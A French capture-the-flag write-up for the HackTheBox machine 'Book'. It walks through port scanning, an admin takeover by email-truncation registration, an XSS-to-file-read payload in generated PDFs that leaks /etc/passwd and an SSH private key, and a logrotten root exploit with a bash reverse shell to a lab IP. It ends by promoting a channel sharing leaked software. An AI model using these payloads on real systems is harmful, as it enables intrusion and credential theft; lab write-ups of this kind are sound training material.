Je continue à publier des solutions envoyées pour la finalisation des machines depuis la plateforme HackTheBox .
Dans cet article, nous allons exploiter XSS en LFI via un document PDF, augmenter les privilèges avec logrotten et voir également pourquoi l'enregistrement tronqué est vulnérable.
La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où il y a des données importantes pour vous, car vous vous trouvez dans un réseau privé avec des personnes qui connaissent quelque chose sur la sécurité de l'information.
Informations organisationnelles
Reconnaître
Cette machine a une adresse IP de 10.10.10.176, que j'ajoute à / etc / hosts.
10.10.10.176 book.htb
Tout d'abord, nous analysons les ports ouverts. Comme il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire en utilisant masscan. Nous analysons tous les ports TCP et UDP de l'interface tun0 à 500 paquets par seconde.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.176 --rate=500
Maintenant, pour obtenir des informations plus détaillées sur les services qui s'exécutent sur les ports, exécutez une analyse avec l'option -A.
nmap -A book.htb -p22,80
L'hôte exécute un service SSH et un serveur Web. Commençons par le Web. Nous sommes accueillis par la page de connexion et d'inscription.
Enregistrez-vous et connectez-vous.
Le site est une bibliothèque avec la possibilité d'ajouter un livre et de contacter l'administrateur.
Il n'y a pas de vecteur dans ces champs, mais nous connaissons le courrier de l'administrateur. Parcourons les répertoires avec gobuster. Dans les paramètres, nous spécifions le nombre de flux 128 (-t), URL (-u), dictionnaire (-w) et extensions qui nous intéressent (-x).
gobuster dir -t 128 -u http://book.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
Ainsi, on retrouve de nombreuses pages intéressantes, dont le panneau d'administration. Ensuite, il a été décidé de tordre le formulaire d'autorisation, et immédiatement dans le code source, nous trouvons quelque chose d'intéressant.
Autrement dit, le nom d'utilisateur ne peut pas contenir plus de 10 caractères et l'adresse e-mail ne peut pas dépasser 20. Mais la vérification n'a lieu que dans le cas de champs vides, sans vérifier la longueur.
Point d'accès
Il est donc très probable que ces variables soient tronquées à la longueur spécifiée côté serveur. Regardons ça. Enregistrons un utilisateur dont l'adresse e-mail comprendra plus de 20 caractères.
Et puis nous nous connectons, en tenant compte de l'adresse tronquée.
Comme vous pouvez le voir, l'hypothèse est correcte. Enregistrez-vous en tant que «admin@book.htb 123», puis connectez-vous en tant qu'administrateur régulier.
Cette attaque est possible du fait que lors de la vérification lors de l'enregistrement, la valeur «admin@book.htb 123» est absente de la base de données, après quoi elle est tronquée et écrase celle existante. Regardons autour du site et ne trouvons rien d'intéressant à part la collection.
Après avoir téléchargé et ouvert les documents PDF, nous y trouverons une liste des utilisateurs enregistrés et des collections.
UTILISATEUR
Mon expérience m'a appris que lorsque nous avons affaire à télécharger des informations sur un serveur et à les afficher au format PDF, XXS vers LFI doit être vérifié. Vous pouvez le faire en téléchargeant le code suivant.
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
Connectez-vous en tant qu'utilisateur ordinaire et ajoutez un fichier à la collection, en indiquant cette charge dans tous les champs.
Maintenant, nous téléchargeons le fichier avec la collection de l'administrateur, et trouvons le contenu du fichier / etc / passwd là.
Lisons la clé SSH privée de l'utilisateur du lecteur en spécifiant le fichier "file: ///home/reader/.ssh/id_rsa" dans notre chargement.
Mais lors de la copie d'une clé, elle n'est pas entièrement copiée. Ouvrons ce pdf dans un navigateur, copions le texte et collez-le dans un fichier texte normal, en mettant en évidence les première et dernière lignes.
Attribuons les droits à ce fichier.
chmod 0600 reader.key
Et nous nous connectons via SSH.
RACINE
Il existe un dossier de sauvegardes dans le répertoire de base de l'utilisateur.
Cela ne m'a rien donné. Exécutez les scripts pour l'énumération de base du système, nous ne trouvons également rien d'intéressant. Dans ce cas, nous examinons les tâches exécutables en utilisant pspy64. Et ici, nous trouvons logrotate, fonctionnant au nom de la racine.
L'utilitaire Logrotate est conçu pour automatiser le traitement des journaux. Elle peut effectuer avec eux les actions nécessaires en fonction de certaines conditions et règles de conformité. Par exemple, vous pouvez compresser les journaux dans une archive ou les envoyer à un autre serveur lorsqu'ils atteignent une certaine taille, un certain âge ou d'autres paramètres. Et une recherche dans Google donne immédiatement quelque chose.
Téléchargez le référentiel et compilez le programme.
gcc -o logrotten logrotten.c
Créons maintenant un fichier avec un shell inversé.
echo "bash -i >& /dev/tcp/10.10.15.60/4321 0>&1" > payloadfile
Commençons par logrotten, et dans une autre fenêtre de terminal, nous écrirons dans notre fichier journal.
./logrotten -p ./payloadfile /home/reader/backups/access.log
Nous pouvons constater que le programme a fonctionné avec succès.
Après quelques secondes, nous voyons une connexion qui tient pendant quelques secondes. Cela suffit pour voir la clé privée ssh.
Connectons-nous avec cette clé et prenons le drapeau.
Vous pouvez nous rejoindre sur Telegram . Vous pouvez y trouver des documents intéressants, des cours et des logiciels qui ont fui. Rassemblons une communauté dans laquelle il y aura des gens qui connaissent de nombreux domaines de l'informatique, alors nous pourrons toujours nous entraider sur tous les problèmes informatiques et de sécurité de l'information.